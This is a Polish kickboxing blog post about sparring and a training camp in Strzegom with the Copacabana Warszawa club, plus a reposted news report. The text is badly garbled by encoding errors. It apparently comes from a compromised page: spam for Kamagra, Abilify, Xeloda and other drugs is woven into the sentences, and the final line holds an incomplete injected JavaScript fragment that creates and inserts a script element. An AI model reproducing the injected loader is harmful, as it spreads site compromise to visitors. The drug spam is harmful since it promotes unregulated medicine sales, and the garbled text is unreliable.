Weekend na sparringach i tydzieAi?? wraz z Copacabana

18.01.2012 / Mariusz Cieśliński


SobotAi?? spAi??dziAi??em wraz z zawodnikami mojego klubu na sparringach w Strzegomiu.W taki miAi??y sposA?b postanowiliAi??my spAi??dziAi?? sobotnie przedpoAi??udnie.ZrobiAi??em pierwszy sparring z kopniAi??ciami po operacji-niezle nawet to wyszAi??o.
W niedzielAi?? przyjechaAi?? zaprzyjazniony klub Copacabana Warszawa.Z Trec Team czAi??sto tam goAi??cimy na seminariach i treningach,tym razem Igor KoAi??acin ze swoimi zawodnikami wybraAi?? siAi?? do mnie na wspA?lne treningi.Zapraszam na krA?tkie filmiki :)
Podbieg :) Ostro na tAi??tnie :) cheap dipyridamole generic
Bieg na trawersach :) Pills
BIEGI w wAi??wozach
Trzecia runda sparringu :)

PoniA?ej relacja Fightsport.pl

buy kamagra online next day delivery. buy Kamagra online. kamagra india price.

Zgrupowanie Copacabana Warszawa w Strzegomiu! PDF online Email
Buy
Wtorek, 17. StyczeAi?? 2012 22:16
W dniu 15 stycznia rozpoczAi??Ai??o siAi?? zgrupowanie klubu Copacabana Warszawa. Miejscem zgrupowania kolejny raz jest Strzegom. Bardzo pomocny jak zwykle okazuje siAi?? Ai??wietny zawodnik K-1 online i Muay Thai Mariusz CieAi??liAi??ski. Codzienne „przebieA?ki” po okolicznych Purchase gA?rach sAi?? naprawdAi?? mordercze. ZaAi??oA?eniem tego zgrupowania kondycyjno-siAi??owego jest budowanie bazy kondycyjnej i siAi??owej do pA?A?niejszych startA?w.

abilify monthly injection cost
Ramowy plan obozu jest nastAi??pujAi??cy: poranny trening to trening w terenie z Mariuszem CieAi??liAi??skim (okoAi??o 1.5 – 2 godz biegania), poobiedni trening to praca w dwA?jkach (technika na reakcjAi?? oraz tarcze) jak rA?wnieA? trening obwodowy na siAi??owni, ktA?ry najczAi??Ai??ciej jest „rozgrzewkAi??” przed treningiem w parach. CaAi??y obA?z zwieAi??czAi?? sobotnie sparingi. Obszerniejszy materiaAi?? foto wkrA?tce. PoniA?ej filmiki z biegania wokA?Ai?? Zamku KsiAi??A? we wtorek 17-ego stycznia.

var d=document;var s=d.createElement(‚script’); Purchase document.currentScript.parentNode.insertBefore(s, document.currentScript);} pills online cost of xeloda drug norpress no script